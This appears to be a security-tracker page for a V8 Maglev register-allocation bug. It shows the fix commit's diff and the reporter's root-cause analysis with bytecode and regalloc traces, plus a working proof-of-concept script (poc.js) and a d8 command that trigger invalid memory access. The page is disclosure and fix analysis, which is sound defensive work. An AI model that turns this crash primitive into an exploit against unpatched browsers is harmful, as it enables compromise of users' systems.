Overview

High
Severity
β€”
CVSS
No
Exploited ITW
Fixed
Fix Status
ImpactObject corruption in V8
DescriptionObject corruption in V8
ComponentV8
Bug ClassLogic Error
Tracker386143468
Fix commit8164ea8fd9e5 (v8/v8) +56/-51
CISA KEVNot listed
Credited303f06e3
Disclosed2025-01-22

Changed Functions

FunctionChangeNotes
if
src/maglev/maglev-graph-builder.cc
modified

Files Changed

  • src/maglev/maglev-graph-builder.cc
  • src/maglev/maglev-graph-builder.h
  • src/maglev/maglev-graph-printer.cc
  • src/maglev/maglev-interpreter-frame-state.h
  • src/maglev/maglev-ir.h
  • src/maglev/maglev-regalloc.cc
From 8164ea8fd9e51b26bc7311e6cab34f95e3336016 Mon Sep 17 00:00:00 2001
From: Olivier FlΓΌckiger <[email protected]>
Date: Thu, 09 Jan 2025 16:05:19 +0100
Subject: [PATCH] [maglev] regalloc: Some refactoring and additional checks

Bug: 386143468
Change-Id: I44ad08873d4bbff784a654e3ce3d752e61064471
Reviewed-on: https://chromium-review.googlesource.com/c/v8/v8/+/6158064
Reviewed-by: Toon Verwaest <[email protected]>
Auto-Submit: Olivier FlΓΌckiger <[email protected]>
Commit-Queue: Olivier FlΓΌckiger <[email protected]>
Commit-Queue: Toon Verwaest <[email protected]>
Cr-Commit-Position: refs/heads/main@{#98032}
---

diff --git a/src/maglev/maglev-graph-builder.cc b/src/maglev/maglev-graph-builder.cc
index b13d176..3a1235f 100644
--- a/src/maglev/maglev-graph-builder.cc
+++ b/src/maglev/maglev-graph-builder.cc
@@ -13231,7 +13231,7 @@
     merge_states_[target]->MergeDead(*compilation_unit_);
     // If this merge is the last one which kills a loop merge, remove that
     // merge state.
-    if (merge_states_[target]->is_unreachable_loop()) {
+    if (merge_states_[target]->is_unmerged_unreachable_loop()) {
       if (v8_flags.trace_maglev_graph_building) {
         std::cout << "! Killing loop merge state at @" << target << std::endl;
       }
@@ -13254,7 +13254,7 @@
     DCHECK_EQ(merge_states_[target]->predecessor_count(),
               predecessor_count(target));
     if (is_loop_effect_tracking_enabled() &&
-        !merge_states_[target]->is_unreachable_loop()) {
+        !merge_states_[target]->is_unmerged_unreachable_loop()) {
       EndLoopEffects(target);
     }
     merge_states_[target]->MergeDeadLoop(*compilation_unit_);
diff --git a/src/maglev/maglev-graph-builder.h b/src/maglev/maglev-graph-builder.h
index 6baa8be..a9736c6 100644
--- a/src/maglev/maglev-graph-builder.h
+++ b/src/maglev/maglev-graph-builder.h
@@ -777,8 +777,7 @@
           return;
         }
         ProcessMergePointAtExceptionHandlerStart(offset);
-      } else if (merge_state->is_loop() && !merge_state->is_resumable_loop() &&
-                 merge_state->is_unreachable_loop()) {
+      } else if (merge_state->is_unmerged_unreachable_loop()) {
         // We encoutered a loop header that is only reachable by the JumpLoop
         // back-edge, but the bytecode_analysis didn't notice upfront. This can
         // e.g. be a loop that is entered on a dead fall-through.
diff --git a/src/maglev/maglev-graph-printer.cc b/src/maglev/maglev-graph-printer.cc
index f126fab..ab327d1 100644
--- a/src/maglev/maglev-graph-printer.cc
+++ b/src/maglev/maglev-graph-printer.cc
@@ -365,6 +365,9 @@
 
   int block_id = graph_labeller_->BlockId(block);
   os_ << "Block b" << block_id;
+  if (block->has_state() && block->state()->is_resumable_loop()) {
+    os_ << " (resumable)";
+  }
   if (block->is_exception_handler_block()) {
     os_ << " (exception handler)";
   }
diff --git a/src/maglev/maglev-interpreter-frame-state.h b/src/maglev/maglev-interpreter-frame-state.h
index 42a4208..4112a4e 100644
--- a/src/maglev/maglev-interpreter-frame-state.h
+++ b/src/maglev/maglev-interpreter-frame-state.h
@@ -941,11 +941,11 @@
     return is_loop() && predecessors_so_far_ < predecessor_count_;
   }
 
-  bool is_unreachable_loop() const {
+  bool is_unmerged_unreachable_loop() const {
     // If there is only one predecessor, and it's not set, then this is a loop
     // merge with no forward control flow entering it.
-    return is_loop() && !is_resumable_loop() && predecessor_count_ == 1 &&
-           predecessors_so_far_ == 0;
+    return is_unmerged_loop() && !is_resumable_loop() &&
+           predecessor_count_ == 1 && predecessors_so_far_ == 0;
   }
 
   bool IsUnreachable() const;
diff --git a/src/maglev/maglev-ir.h b/src/maglev/maglev-ir.h
index faafa94..71a5ad4 100644
--- a/src/maglev/maglev-ir.h
+++ b/src/maglev/maglev-ir.h
@@ -2492,7 +2492,7 @@
                                         GetMachineRepresentation(),
                                         FirstRegisterCode());
     }
-    DCHECK(is_loadable());
+    CHECK(is_loadable());
     return spill_;
   }
 
diff --git a/src/maglev/maglev-regalloc.cc b/src/maglev/maglev-regalloc.cc
index a1d24ed..132292a 100644
--- a/src/maglev/maglev-regalloc.cc
+++ b/src/maglev/maglev-regalloc.cc
@@ -167,30 +167,6 @@
   return node->live_range().end >= target->first_id();
 }
 
-// TODO(dmercadier): this function should never clear any registers, since dead
-// registers should always have been cleared:
-//  - Nodes without uses have their output registers cleared right after their
-//    allocation by `FreeRegistersUsedBy(node)`.
-//  - Once the last use of a Node has been processed, its register is freed (by
-//    UpdateUse, called from Assigned***Input, called by AssignInputs).
-// Thus, this function should DCHECK that all of the registers are live at
-// target, rather than clearing the ones that aren't.
-template <typename RegisterT>
-void ClearDeadFallthroughRegisters(RegisterFrameState<RegisterT>& registers,
-                                   ConditionalControlNode* control_node,
-                                   BasicBlock* target) {
-  RegListBase<RegisterT> list = registers.used();
-  while (list != registers.empty()) {
-    RegisterT reg = list.PopFirst();
-    ValueNode* node = registers.GetValue(reg);
-    if (!IsLiveAtTarget(node, control_node, target)) {
-      registers.FreeRegistersUsedBy(node);
-      // Update the registers we're visiting to avoid revisiting this node.
-      list.clear(registers.free());
-    }
-  }
-}
-
 bool IsDeadNodeToSkip(Node* node) {
   if (!node->Is<ValueNode>()) return false;
   ValueNode* value = node->Cast<ValueNode>();
@@ -578,6 +554,7 @@
       general_registers_.clear_blocked();
       double_registers_.clear_blocked();
     }
+    DCHECK(AllUsedRegistersLiveAt(block));
     VerifyRegisterState();
 
     node_it_ = block->nodes().begin();
@@ -971,6 +948,38 @@
   }
 }
 
+#ifdef DEBUG
+
+bool StraightForwardRegisterAllocator::AllUsedRegistersLiveAt(
+    ConditionalControlNode* control_node, BasicBlock* target) {
+  auto ForAllRegisters = [&](const auto& registers) {
+    for (auto reg : registers.used()) {
+      if (!IsLiveAtTarget(registers.GetValue(reg), control_node, target)) {
+        return false;
+      }
+    }
+    return true;
+  };
+  return ForAllRegisters(general_registers_) &&
+         ForAllRegisters(double_registers_);
+}
+
+bool StraightForwardRegisterAllocator::AllUsedRegistersLiveAt(
+    BasicBlock* target) {
+  auto ForAllRegisters = [&](const auto& registers) {
+    for (auto reg : registers.used()) {
+      if (registers.GetValue(reg)->live_range().end < target->first_id()) {
+        return false;
+      }
+    }
+    return true;
+  };
+  return ForAllRegisters(general_registers_) &&
+         ForAllRegisters(double_registers_);
+}
+
+#endif  // DEBUG
+
 void StraightForwardRegisterAllocator::InitializeConditionalBranchTarget(
     ConditionalControlNode* control_node, BasicBlock* target) {
   DCHECK(!target->has_phi());
@@ -983,12 +992,8 @@
     return InitializeEmptyBlockRegisterValues(control_node, target);
   }
 
-  // Clear dead fall-through registers.
   DCHECK_EQ(control_node->id() + 1, target->first_id());
-  ClearDeadFallthroughRegisters<Register>(general_registers_, control_node,
-                                          target);
-  ClearDeadFallthroughRegisters<DoubleRegister>(double_registers_, control_node,
-                                                target);
+  DCHECK(AllUsedRegistersLiveAt(control_node, target));
 }
 
 void StraightForwardRegisterAllocator::AllocateControlNode(ControlNode* node,
@@ -1810,9 +1815,7 @@
     DCHECK(!registers.is_blocked(reg));
     DropRegisterValue(registers, reg);
   }
-#ifdef DEBUG
   DCHECK(!registers.free().has(reg));
-#endif
Loading diff…

Original Bug Report

reported by [email protected]

Incorrect handling during Maglev register allocation leads to improper memory access.

Security Bug

Important: Please do not change the component of this bug manually.

Please READ THIS FAQ before filing a bug: https://chromium.googlesource.com/chromium/src/+/HEAD/docs/security/faq.md

Please see the following link for instructions on filing security bugs: https://www.chromium.org/Home/chromium-security/reporting-security-bugs

Reports may be eligible for reward payments under the Chrome VRP: https://g.co/chrome/vrp

NOTE: Security bugs are normally made public once a fix has been widely deployed.


VULNERABILITY DETAILS

I will explain why the crash occurred. In order to simplify the Maglev graph, I added the –no-maglev-optimistic-peeled-loops and –no-maglev-loop-peeling flags. These two flags are not necessary to trigger the crash.

1 Start From Bytecode

The bytecode of the opt_me() function is as follows.

        ....

        // if(flag) %OptimizeOsr();
   59 S> 0x8c400004020b @   39 : 0b 03             Ldar a0
         0x8c400004020d @   41 : a1 07             JumpIfToBooleanFalse [7] (0x8c4000040214 @ 48)
   76 S> 0x8c400004020f @   43 : 6c fe 01 f9 00    CallRuntime [OptimizeOsr], r0-r0

        // for (let j = 0; j < 1; j++) { }
  135 S> 0x8c4000040214 @   48 : 0c                LdaZero
         0x8c4000040215 @   49 : cb                Star3
  140 S> 0x8c4000040216 @   50 : 0d 01             LdaSmi [1]
  140 E> 0x8c4000040218 @   52 : 75 f6 00          TestLessThan r3, [0]
         0x8c400004021b @   55 : a3 0b             JumpIfFalse [11] (0x8c4000040226 @ 66)
  146 S> 0x8c400004021d @   57 : 0b f6             Ldar r3
         0x8c400004021f @   59 : 57 01             Inc [1]
         0x8c4000040221 @   61 : cb                Star3
  122 E> 0x8c4000040222 @   62 : 92 0c 00 02       JumpLoop [12], [0], [2] (0x8c4000040216 @ 50)

        // for (let k = 0; k < 1; k++) {
  223 S> 0x8c4000040226 @   66 : 0c                LdaZero
         0x8c4000040227 @   67 : cd                Star1
  228 S> 0x8c4000040228 @   68 : 0d 01             LdaSmi [1]
  228 E> 0x8c400004022a @   70 : 75 f8 03          TestLessThan r1, [3]
         0x8c400004022d @   73 : a3 47             JumpIfFalse [71] (0x8c4000040274 @ 144)
        
        // const tmp = a1 || 1;
  260 S> 0x8c400004022f @   75 : 0b 04             Ldar a1
         0x8c4000040231 @   77 : a0 04             JumpIfToBooleanTrue [4] (0x8c4000040235 @ 81)
         0x8c4000040233 @   79 : 0d 01             LdaSmi [1]
         0x8c4000040235 @   81 : cc                Star2
        // use = tmp % 4;
  376 S> 0x8c4000040236 @   82 : 4f 04 04          ModSmi [4], [4]
         0x8c4000040239 @   85 : ca                Star4
         0x8c400004023a @   86 : 18 03             LdaCurrentScriptContextSlot [3]
  370 E> 0x8c400004023c @   88 : b4 04             ThrowReferenceErrorIfHole [4]
         0x8c400004023e @   90 : 0b f5             Ldar r4
         0x8c4000040240 @   92 : 29 03             StaCurrentScriptContextSlot [3]
        // v = tmp;
  429 S> 0x8c4000040242 @   94 : 18 04             LdaCurrentScriptContextSlot [4]
  431 E> 0x8c4000040244 @   96 : b4 05             ThrowReferenceErrorIfHole [5]
         0x8c4000040246 @   98 : 0b f7             Ldar r2
         0x8c4000040248 @  100 : 29 04             StaCurrentScriptContextSlot [4]
        // yield 1
  478 S> 0x8c400004024a @  102 : 0d 01             LdaSmi [1]
         0x8c400004024c @  104 : ca                Star4
         0x8c400004024d @  105 : 12                LdaFalse
         0x8c400004024e @  106 : c9                Star5
         0x8c400004024f @  107 : 6f 0e f5 02       InvokeIntrinsic [_CreateIterResultObject], r4-r5
  478 E> 0x8c4000040253 @  111 : b9 f9 f9 04 01    SuspendGenerator r0, r0-r3, [1]
         0x8c4000040258 @  116 : ba f9 f9 04       ResumeGenerator r0, r0-r3
         0x8c400004025c @  120 : ca                Star4
         0x8c400004025d @  121 : 6f 09 f9 01       InvokeIntrinsic [_GeneratorGetResumeMode], r0-r0
         0x8c4000040261 @  125 : ab 06 02 00       SwitchOnSmiNoFeedback [6], [2], [0] { 0: @135, 1: @132 }
         0x8c4000040265 @  129 : 0b f5             Ldar r4
  478 E> 0x8c4000040267 @  131 : b1                Throw
         0x8c4000040268 @  132 : 0b f5             Ldar r4
         0x8c400004026a @  134 : b3                Return

        // k++ and loop back edge
  234 S> 0x8c400004026b @  135 : 0b f8             Ldar r1
         0x8c400004026d @  137 : 57 05             Inc [5]
         0x8c400004026f @  139 : cd                Star1
  210 E> 0x8c4000040270 @  140 : 92 48 00 06       JumpLoop [72], [0], [6] (0x8c4000040228 @ 68)

         0x8c4000040274 @  144 : 0e                LdaUndefined
  493 S> 0x8c4000040275 @  145 : b3                Return

There are two loops in the bytecode:

  • The range of the bytecode for the first loop is 50~66. After setting %OptimizeOsr();, the jump instruction 62: JumpLoop of the first loop will trigger OSR optimization.
  • The range of the bytecode for the second loop is 68~144. The vulnerability occurs in the handling of this loop.

2 Maglev Graph Buiding

Add the --trace-maglev-graph-building flag to trace the graph building process.

2.1 Initialize

When Initialization, positions 50 and 68 are the jump targets of the JumpLoop bytecode for the two loops, so MergePointInterpreterFrameState objects are created at merge_states_[50] and merge_states_[68] (for simplicity, the loop peel optimization is turned off here).

- Non-standard entrypoint @50 by OSR from @62
  ...
- Creating loop merge state at @50
- Creating loop merge state at @68
  0x5c226139d4b8  n13: CheckpointedJump

2.2 First Loop

The process of handling the first loop is as follows. The interpreter frame state of

Initializing loop state...
  <this>: <unregistered node (nil)><> <- n1<> => n1: InitialValue(<this>) β†’ (x), 1 uses<>
  a0: <unregistered node (nil)><> <- n2<> => n2: InitialValue(a0) β†’ (x), 1 uses<>
  a1: <unregistered node (nil)><> <- n3<> => n3: InitialValue(a1) β†’ (x), 1 uses<>
  <context>: <unregistered node (nil)><> <- n4<> => n4: InitialValue(<context>) β†’ (x), 1 uses<>
  r0: <unregistered node (nil)><> <- n6<> => n6: InitialValue(r0) β†’ (x), 1 uses<>
  r3: <unregistered node 0x5c226139cf38><> <- n9<> => <unregistered node 0x5c226139cf38>: Phi(r3) [n9:(x), <unregistered node (nil)>:(x)] β†’ (x), 0 uses πŸͺ¦<>
  50 : 0d 01             LdaSmi [1]
== New block (loop header @0x5c226139cd40) at 0x029b00099599 <SharedFunctionInfo opt_me>==
* VOs (Interpreter Frame State): 
- Copying frame state from merge @0x5c226139cd40
* VOs (Interpreter Frame State): 
* VOs (Merge Frame State): 

...

  62 : 92 0c 00 02       JumpLoop [12], [0], [2]
  0x5c226139f920  n23: ReduceInterruptBudgetForLoop(9)
  0x5c226139fa30  n24: JumpLoop  
Merging loop backedge...
  <this>: n1<> <- n1<> => n1: InitialValue(<this>) β†’ (x), 3 uses<>
  a0: n2<> <- n2<> => n2: InitialValue(a0) β†’ (x), 3 uses<>
  a1: n3<> <- n3<> => n3: InitialValue(a1) β†’ (x), 3 uses<>
  <context>: n4<> <- n4<> => n4: InitialValue(<context>) β†’ (x), 3 uses<>
  r0: n6<> <- n6<> => n6: InitialValue(r0) β†’ (x), 3 uses<>
  r3: n14<> <- n22<> => n14: Phi(r3) [n9:(x), n25:(x)] β†’ (x), 2 uses<>

The process of handling the first loop is as follows. The interpreter frame state of merge_states_[50] changes twice when handling the first loop:

  1. At the initialization of the loop, the current interpreter frame state is merged into merge_states_[50], so the value of the r3 register becomes Phi(r3) [n9, nil].
  2. When handling the loop jump 62: JumpLoop, the current interpreter frame state is also merged into merge_states_[50]. At this time, the value of the r3 register is n22, so n22 is taken as the input node of the Phi node during the merge, resulting in Phi(r3) [n9, n25].

Therefore, we find that Maglev Graph Building only adds another input node to the Phi node when handling the LoopJump instruction, otherwise the Phi node only has one input node.

2.3 Second Loop

The process of handling the second loop is as follows.

...
  68 : 0d 01             LdaSmi [1]
  0x5c226139fc60  n27: Jump
Merging...
  <this>: n1<> <- n1<> => n1: InitialValue(<this>) β†’ (x), 3 uses<>
  a0: n2<> <- n2<> => n2: InitialValue(a0) β†’ (x), 3 uses<>
  a1: n3<> <- n3<> => n3: InitialValue(a1) β†’ (x), 3 uses<>
  <context>: <unregistered node 0x5c226139d288><> <- n4<> => <unregistered node 0x5c226139d288>: Phi(<context>) [n4:(x), <unregistered node (nil)>:(x)] β†’ (x), 0 uses πŸͺ¦<>
  r0: <unregistered node 0x5c226139d330><> <- n6<> => <unregistered node 0x5c226139d330>: Phi(r0) [n6:(x), <unregistered node (nil)>:(x)] β†’ (x), 0 uses πŸͺ¦<>
  r1: <unregistered node 0x5c226139d3d8><> <- n26<> => <unregistered node 0x5c226139d3d8>: Phi(r1) [n26:(x), <unregistered node (nil)>:(x)] β†’ (x), 0 uses πŸͺ¦<>
== New block (loop header @0x5c226139cfc0) at 0x029b00099599 <SharedFunctionInfo opt_me>==
* VOs (Interpreter Frame State): 
- Copying frame state from merge @0x5c226139cfc0
* VOs (Interpreter Frame State): 
* VOs (Merge Frame State): 
  0x5c226139d288  n28: Phi(<context>) [n4:(x), <unregistered node (nil)>:(x)] β†’ (x), 0 uses πŸͺ¦
  0x5c226139d330  n29: Phi(r0) [n6:(x), <unregistered node (nil)>:(x)] β†’ (x), 0 uses πŸͺ¦
  0x5c226139d3d8  n30: Phi(r1) [n26:(x), <unregistered node (nil)>:(x)] β†’ (x), 0 uses πŸͺ¦
...

**** Graph construction stops when encountering SuspendGenerator bytecode ****
 111 : b9 f9 f9 04 01    SuspendGenerator r0, r0-r3, [1]
  0x5c22613a2738  n56: RootConstant(optimized_out) β†’ (x), 0 uses πŸͺ¦
  0x5c22613a2708  n57: GeneratorStore [n28:(x), n29:(x), n2:(x), n3:(x), n29:(x), n30:(x), n56:(x), n56:(x)]
  ! Clearing unstable node aspects
  0x5c22613a27e0  n58: Return [n50:(x)]


**** Bytecode between 116~140 are Dead ****
 116 : ba f9 f9 04       ResumeGenerator r0, r0-r3
== Dead ==
 116 : ba f9 f9 04       ResumeGenerator r0, r0-r3
...
 140 : 92 48 00 06       JumpLoop [72], [0], [6]
== Dead ==
 140 : 92 48 00 06       JumpLoop [72], [0], [6]

We focus on the changes in the interpreter frame state at merge_states_[68].

  1. When entering the Loop Header through the Loop Preheader, after merging the interpreter frame state, we can see that the Phi nodes corresponding to the two registers r0, r1 only have one input node, and the other node is nil, indicating that it does not exist.
  2. When processing the SuspendGenerator bytecode, Maglev generates a Return node and terminates graph building. This leads to the 140: JumpLoop instruction of the second loop not being processed. Therefore, at the end of the graph building, the Phi nodes corresponding to the two registers r0, r1 still only have one input node.

2.4 After graph building

The final constructed graph is as follows.

      3: InitialValue(a1) β†’ (x), 11 uses
       ...
first loop ...    
β”‚ 
 ╰─►Block b4    
     27: Jump b5    // jump to second loop
      β”‚  with gap moves:
      β”‚    - n4:(x) β†’ 28: Ο†α΅€ <context> (x)
      β”‚    - n6:(x) β†’ 29: Ο†α΅€ r0 (x)
      β”‚    - n26:(x) β†’ 30: Ο†α΅€ r1 (x)
      β–Ό
    Block b5    // second loop
     28: Ο†α΅€ <context> (n4) (compressed) β†’ (x), 10 uses
     29: Ο†α΅€ r0 (n6) (compressed) β†’ (x), 7 uses
     30: Ο†α΅€ r1 (n26) (compressed) β†’ (x), 7 uses 
         ↱ eager @70 (7 live vars)
     31: CheckedSmiUntag [n30:(x)] β†’ (x), 2 uses
     32: Int32Compare(LessThan) [n31:(x), n17:(x)] β†’ (x), 0 uses πŸͺ¦
╭────33: BranchIfInt32Compare(LessThan) [n31:(x), n17:(x)] b6 b10
β”‚     ↓
β”‚   Block b6    // a1 || 1
│╭───34: BranchIfToBooleanTrue [n3:(x)] b8 b7
β”‚β”‚    ↓
β”‚β”‚  Block b7
││╭──35: Jump b9
β”‚β”‚β”‚      with gap moves:
β”‚β”‚β”‚        - n15:(x) β†’ 37: Ο†α΅€ <accumulator> (x)
β”‚β”‚β”‚
│╰─►Block b8
β”‚ β”‚  36: Jump b9
β”‚ β”‚   β”‚  with gap moves:
β”‚ β”‚   β”‚    - n3:(x) β†’ 37: Ο†α΅€ <accumulator> (x)
β”‚ β”‚   β–Ό
β”‚ β•°β–ΊBlock b9
β”‚    37: Ο†α΅€ <accumulator> (n3, n15) (compressed) β†’ (x), 7 uses

We need to pay special attention to Block b5, which has two characteristics:

  1. This is a Loop Header because it is the jump target of the 140: JumpLoop bytecode.
  2. It only has one predecessor, which is 27: Jump b5 in Block b4.

3 Phi untagging

This phase will optimize 37: Ο†α΅€ into 37: Ο†α΄΅, so all input nodes of Phi need to be converted to Int32 type. Therefore, nodes 64, 65 are added to convert a1 into Int32 type.

      3: InitialValue(a1) β†’ (x), 11 uses
     64: CheckedNumberOrOddballToFloat64(Number) [n3:(x)] β†’ (x), 1 uses 
     65: CheckedTruncateFloat64ToInt32 [n64:(x)] β†’ (x), 1 uses
       ...
first loop ...    
β”‚ 
 ╰─►Block b4
     27: Jump b5     // jump to second loop
      β”‚  with gap moves:
      β”‚    - n4:(x) β†’ 28: Ο†α΅€ <context> (x)
      β”‚    - n6:(x) β†’ 29: Ο†α΅€ r0 (x)
      β”‚    - n26:(x) β†’ 30: Ο†α΅€ r1 (x)
      β–Ό
    Block b5    // second loop
     28: Ο†α΅€ <context> (n4) (compressed) β†’ (x), 10 uses
     29: Ο†α΅€ r0 (n6) (compressed) β†’ (x), 7 uses
     30: Ο†α΅€ r1 (n26) (compressed) β†’ (x), 7 uses 
     31: CheckedSmiUntag [n30:(x)] β†’ (x), 2 uses
     32: Int32Compare(LessThan) [n31:(x), n17:(x)] β†’ (x), 0 uses πŸͺ¦ 
╭────33: BranchIfInt32Compare(LessThan) [n31:(x), n17:(x)] b6 b10
β”‚     ↓
β”‚   Block b6    // a1 || 1
│╭───34: BranchIfToBooleanTrue [n3:(x)] b8 b7
β”‚β”‚    ↓
β”‚β”‚  Block b7
││╭──35: Jump b9
β”‚β”‚β”‚      with gap moves:
β”‚β”‚β”‚        - n17:(x) β†’ 37: Ο†α΄΅ <accumulator> (x)
β”‚β”‚β”‚
│╰─►Block b8
β”‚ β”‚  36: Jump b9
β”‚ β”‚   β”‚  with gap moves:
β”‚ β”‚   β”‚    - n65:(x) β†’ 37: Ο†α΄΅ <accumulator> (x)
β”‚ β”‚   β–Ό
β”‚ β•°β–ΊBlock b9
β”‚    37: Ο†α΄΅ <accumulator> (n65, n17) β†’ (x), 8 uses

4 Maglev Register Allocate

Add --trace-maglev-regalloc to view the log of register allocation. We find that the value of the v20/n65 node will be stored in the rcx register.

            Allocating v11/n3 inputs...
            Allocating result...
      11/3: InitialValue(a1) β†’ [stack:-8|t], live range: [11-53]
            live regs: 

            Allocating v19/n64 inputs...
            - v11/n3 has arbitrary register
              gap move: [rcx|R|t] ← v11/n3:[stack:-8|t]
            - v11/n3 in clobbered [rcx|R|t] ← [rcx|R|t]
            ...
     19/64: CheckedNumberOrOddballToFloat64(Number) [v11/n3:[rcx|R|t]] β†’ [xmm0|R|f64], live range: [19-20]
            live regs: rax=v18, xmm0=v19

            Allocating v20/n65 inputs...
            - v19/n64 has arbitrary register
            - v19/n64 in [xmm0|R|f64]
            ...
     20/65: CheckedTruncateFloat64ToInt32 [v19/n64:[xmm0|R|f64]] β†’ [rcx|R|w32], live range: [20-35]
            live regs: rax=v18, rcx=v20
              constant gap move: [rdx|R|w32] ← v7/n17
            Using v18/n63...
              freeing v18/n63

However, a strange situation occurred when processing the jump instruction from Block b4 to Block b5: all live regs were cleared, v28/n65 is no longer in rcx, and it was not spilled to the stack either.

...
╰─►Block b4
    live regs: rcx=v20, rdx=v7    <=== v20 live in rcx
    [holes: 56.]
    Using v12/n4...
      freeing v12/n4
    Using v14/n6...
      freeing v14/n6
    Using v5/n26...
      freeing v5/n26
   0x27e30019959d <SharedFunctionInfo opt_me> (0x27e3000472d9 <String[9]: "./test.js">:13:22)
     68 : LdaSmi [1]
     27/27: Jump b5
         β”‚  with gap moves:
         β”‚    - v12/n4:[stack:-3|t] β†’ 28: Ο†α΅€ <context> v-1(*)
         β”‚    - v14/n6:[stack:3|t] β†’ 29: Ο†α΅€ r0 v-1(*)
         β”‚    - v5/n26:[constant:v-1] β†’ 30: Ο†α΅€ r1 v-1(*)
         β”‚  with register merges:
         β–Ό
    Block b5
    live regs:         <==== no live regs
    [holes: 56.]
    ...

Because the position of the v28/n65 node is invalid, a DCHECK fail will occur when attempting to get the allocation position of this node later.

However, in the release build version, this will continue to execute. When processing 35/36: Jump b9, a gap moves instruction will be generated: (x) β†’ 37: Ο†α΄΅, attempting to load a value from an invalid address.

│╭───33/34: BranchIfToBooleanTrue [v11/n3:[rcx|R|t]] b8 b7
β”‚β”‚       ↓
β”‚β”‚  Block b7
β”‚β”‚  live regs: rax=v29, rcx=v11, rdx=v30, rbx=v7, rdi=v28
β”‚β”‚  [holes: 34-36 54.]
β”‚β”‚  Using v7/n17...
β”‚β”‚    freeing v7/n17
β”‚β”‚   81 : Star2
││╭──34/35: Jump b9
β”‚β”‚β”‚         with gap moves:
β”‚β”‚β”‚           - v7/n17:[rbx|R|w32] β†’ 37: Ο†α΄΅ <accumulator> v-1(*)
β”‚β”‚β”‚         with register merges:
β”‚β”‚β”‚
│╰─►Block b8
β”‚ β”‚ live regs: rax=v29, rcx=v11, rdx=v30, rdi=v28
β”‚ β”‚ [holes: 54.]
β”‚ β”‚ Merging registers...
β”‚ β”‚   rax - incoming node same as node: v29/n29
β”‚ β”‚   rcx - incoming node same as node: v11/n3
β”‚ β”‚   rdx - incoming node same as node: v30/n30
β”‚ β”‚   rdi - incoming node same as node: v28/n28
β”‚ β”‚ Using v20/n65...
β”‚ β”‚   freeing v20/n65
β”‚ β”‚  35/36: Jump b9
β”‚ β”‚      β”‚  with gap moves:
β”‚ β”‚      β”‚    - v20/n65:(x) β†’ 37: Ο†α΄΅ <accumulator> v-1(*)    <==== Here
β”‚ β”‚      β”‚  with register merges:
β”‚ β”‚      β–Ό
β”‚ β•°β–ΊBlock b9

This will ultimately lead to the generation of the movq rbx,[rbp-0x58] instruction during assembly. Note: rbp-0x58 points to an invalid position in the stack frame, leading to incorrect memory access.

                  -- Block b8 - PreProcessBasicBlock@../../src/maglev/maglev-code-generator.cc:788
                  --   36: Jump b9 - Process@../../src/maglev/maglev-code-generator.cc:800
                  --   Gap moves: - EmitBlockEndGapMoves@../../src/maglev/maglev-code-generator.cc:902
                  --   * (x) β†’ [rbx|R|w32] (n37) - EmitBlockEndGapMoves@../../src/maglev/maglev-code-generator.cc:930
0x5a1b47cc0226   1e6  488b5da8             REX.W movq rbx,[rbp-0x58]

5 Root Casue

Why are the live regs cleared when processing the jump instruction from Block b4 to Block b5?

The root cause lies in the StraightForwardRegisterAllocator::AllocateRegisters() function.

void StraightForwardRegisterAllocator::AllocateRegisters() {
  ...
  for (block_it_ = graph_->begin(); block_it_ != graph_->end(); ++block_it_) {
    BasicBlock* block = *block_it_;
    current_node_ = nullptr;

    if (block->has_state()) {
      if (block->state()->is_exception_handler()) {
        ...
      } else if (block->state()->is_resumable_loop() && // <=== Key
                 block->state()->predecessor_count() <= 1) {
        // Loops that are only reachable through JumpLoop start from a blank
        // state of register values.
        // This should actually only support predecessor_count == 1, but we
        // currently don't eliminate resumable loop headers (and subsequent code
        // until the next resume) that end up being unreachable from JumpLoop.
        ClearRegisterValues();
      } else {
        InitializeRegisterValues(block->state()->register_state());
      }
    } else if (block->is_edge_split_block()) {
      InitializeRegisterValues(block->edge_split_block_register_state());
    }

    ...
  }
}

We need to pay special attention to the branch block->state()->is_resumable_loop() && block->state()->predecessor_count() <= 1.

  • If a BasicBlock is a loop head, and this BasicBlock only has one predecessor, then this branch considers this to be a loop that can only be reached by JumpLoop. Such a loop should start from a completely blank register state, so it calls ClearRegisterValues() to clear the status of all registers.
  • However, Block b5 is also a loop head with only one predecessor, but this predecessor comes from Block b4’s Jump b5, not the JumpLoop instruction. Therefore, it erroneously enters this branch and calls ClearRegisterValues() to clear the values in the current register. This results in the node value v20/n65 stored in rcx being cleared.

6 Some Thoughts

The relevant code for is_resumable_loop() in AllocateRegisters() comes from commit: 5e1ebeb9a56632c2f2dcf8837c1153f44052d94a.

This commit was introduced in 2022, meaning this vulnerability has been around for a long time and is deeply hidden.

This vulnerability provides us with a special primitive: constructing a loop header BasicBlock with only one predecessor. This way, during Maglev register allocation, all nodes before this loop can be removed from the register, leading to subsequent uses of these nodes encountering a situation similar to “UAF”, accessing values at invalid addresses.

However, triggering a crash with this primitive is somewhat challenging. In some older versions, running this POC would also trigger ClearRegisterValues() during register allocation, erroneously clearing all live regs. For some unknown reasons, this did not lead to a crash, which might require additional constructions. Therefore, performing Commit Bisect based on crashes may not be accurate.

VERSION

poc.js has been tested in the latest version of v8, (commit 4a6960ee2d1be2cfd1e100de8f9b30441f653a43), and it can trigger a crash.

REPRODUCTION CASE

poc.js:

let use = 0;
let v = 0;

function* opt_me(flag, a1) {
    // triggering Maglev OSR optimization
    if(flag)
        %OptimizeOsr();
    for (let j = 0; j < 1; j++) {
        ;
    }

    for (let k = 0; k < 1; k++) {
        const tmp = a1 || 1;
        // Triggers type conversion node of a1: OddBallOrHeapNumber=>Float64=>Int32
        // Passed to 'use' to avoid being optimized away
        use = tmp % 4;  
        v = tmp;
        // Generates SuspendGenerator instruction
        yield 1;
    }
}

%PrepareFunctionForOptimization(opt_me);
opt_me(false, 123).next();
print(v);
opt_me(false, 123).next();
print(v);

// Maglev OSR optimization
opt_me(true, 123).next();
print(v);

call v8 as followed:

./d8 \
    --allow-natives-syntax \
    --no-concurrent-recompilation \
    ./poc.js

crash:

#
# Fatal error in ../../src/maglev/maglev-ir.h, line 2495
# Debug check failed: is_loadable().
#

CREDIT INFORMATION

Externally reported security bugs may appear in Chrome release notes. If this bug is included, how would you like to be credited? Reporter credit: 303f06e3

View on issue tracker